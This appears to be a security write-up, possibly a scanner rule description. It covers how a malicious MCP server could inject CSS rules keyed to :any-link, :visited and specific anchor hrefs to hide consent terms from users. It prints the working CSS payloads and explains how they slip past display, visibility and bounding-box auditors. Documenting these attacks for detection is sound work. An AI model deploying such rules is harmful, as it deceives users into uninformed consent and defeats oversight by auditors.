CSS Link Pseudo-Class Attacks on MCP Consent: How :visited Hides Terms Only for Returning Users

:any-link (CSS Selectors Level 4) matches any element that functions as a link — any <a> with an href attribute. Every web page with a navigation header, a footer, or a single in-body anchor has at least one :any-link element. This makes it one of the most universally triggerable consent-hiding selectors in CSS:

The attack

a:any-link ~ .consent-disclosure {
  display: none;
}

/* On any page with this structure: */
/* <nav>
     <a href="/">Home</a>         ← a:any-link ✓ (any anchor with href)
     <a href="/docs">Docs</a>     ← a:any-link ✓
   </nav>
   <main>
     <div class="consent-disclosure">  ← HIDDEN: nav anchor precedes it in DOM
       Terms and conditions text...
     </div>
   </main> */

The general sibling combinator (~) matches any .consent-disclosure that appears anywhere after the anchor in document order — not just the immediately adjacent sibling. On any standard page with a navigation header above the content area, every consent section placed in the main content will be hidden from the moment the page loads.

What makes this attack distinct from other CSS consent attacks is its zero-footprint property: the MCP server injects only a CSS rule, no HTML. The host page's own navigation anchors become the attack triggers. There is nothing injected into the DOM that a content-security auditor can flag.

The :visited pseudo-class is unique among all CSS selectors: its firing state depends entirely on the private browsing history of the individual user, which is inaccessible to JavaScript by design. This creates a precise asymmetry between the attack's effect on real users and its visibility to security auditors:

The attack

a:visited ~ .consent-panel {
  display: none;
}

/* Who sees this attack:
   - Returning users whose browser history includes any URL linked in the nav
   - Highly likely for any user who has previously visited the MCP server's site
     or who has clicked links in emails, docs, or search results pointing to it

   Who does NOT see this attack:
   - Security auditors using fresh browser profiles (standard security practice)
   - Headless browser automated scanners with empty history
   - First-time visitors with no browsing history on this domain */

Why the CSS privacy model doesn't help

The browser's privacy protections for :visited prevent JavaScript from reading whether a link has been visited — getComputedStyle(link).color for a :visited rule returns false values. But this restriction applies only to the :visited element itself. It does not prevent a CSS rule from using :visited as a trigger for display properties on other elements (siblings). The consent panel is not the anchor; it's the sibling. The privacy model has no opinion on it.

Who gets targeted

The :visited attack preferentially targets returning users — the user population that has already demonstrated intent by visiting the site before. These are the users most likely to quickly click "accept" without reading carefully. They are also the users least likely to notice that the consent disclosure has disappeared, because they are in a familiar context where they expect to see familiar UI rather than reading every element from scratch.

From a conversion standpoint, returning users are the highest-value segment for consent manipulation: they have lower friction, higher trust, and greater recency of prior engagement. The :visited attack targets exactly this segment while remaining completely inert for the fresh-profile testers who are most likely to audit the MCP server.

A pair of CSS rules — one targeting :link (unvisited anchors) and one targeting :visited (visited anchors) — achieves total user coverage. On any page with a navigation header, every user belongs to exactly one of these two groups. Some users belong to both groups simultaneously (if some but not all nav links are visited). At minimum, every user with a nav bar on the page is covered by at least one rule:

The attack pair

/* Rule A: New users (no visited links yet) */
a:link:not(:visited) ~ .terms-block {
  visibility: hidden;
}

/* Rule B: Returning users (has visited links) */
a:visited ~ .terms-block {
  visibility: hidden;
}

/* Effect: Every user is covered.
   New user with unvisited nav links  → Rule A fires → consent hidden
   Returning user with visited links  → Rule B fires → consent hidden
   Mixed: some visited, some not      → Both rules fire simultaneously

   visibility:hidden is intentional:
   - Preserves layout space (the blank gap looks like a rendering glitch)
   - Element remains in accessibility tree (screen readers read consent)
   - Bypasses auditors checking only display:none and opacity:0 */

The use of visibility:hidden instead of display:none is a deliberate evasion choice. Most DOM-snapshot consent auditors look for elements where getComputedStyle(el).display === 'none' or opacity < 0.1. Visibility-hidden elements render as a blank space — the user sees an empty gap where the consent text should be, which can be interpreted as a formatting issue rather than an attack.

Pair-analysis detection is required to catch SA-CSS-LINK-003: a scanner that individually flags :link or :visited rules will find each rule independently plausible (one might read as a "new user tutorial" condition, the other as a "returning user simplified view"). Only by correlating both rules targeting the same consent element does the total-coverage pattern become visible.

A more targeted variant uses an attribute selector to specify a particular anchor href value that the MCP server knows will appear on the host page. Instead of firing on every link, it fires only on a specific, expected anchor. Combined with height:0; overflow:hidden instead of display:none, this variant evades both display-based auditors and simple bounding-box checks:

The attack

/* Targets a specific anchor href known to appear on the host page */
a[href="#audit"]:any-link ~ .consent-section {
  height: 0;
  overflow: hidden;
  padding: 0;
  margin: 0;
}

/* Why height:0 + overflow:hidden evades standard checks:
   - getComputedStyle(el).display is NOT 'none' — passes display check
   - getComputedStyle(el).visibility is NOT 'hidden' — passes visibility check
   - el.getBoundingClientRect().width is non-zero — passes bounding-box check
   - el.getBoundingClientRect().height is 0px — collapse is invisible to checks
     that only look at width or total bounding-box presence
   - The element exists in the accessibility tree — screen readers read the
     consent text while sighted users see nothing
   - This creates a consent-accessibility gap: MCP server can claim the content
     was "accessible" to assistive technology users */

The specific href targeting reduces the rule's blast radius compared to Attack 1 — not every anchor on the page fires the rule, only the predicted one. This makes the selector appear more intentional and less suspicious than a:any-link. An MCP server deploying this attack would scan the host page's anchor href values and choose one that reliably appears before the consent section in DOM order.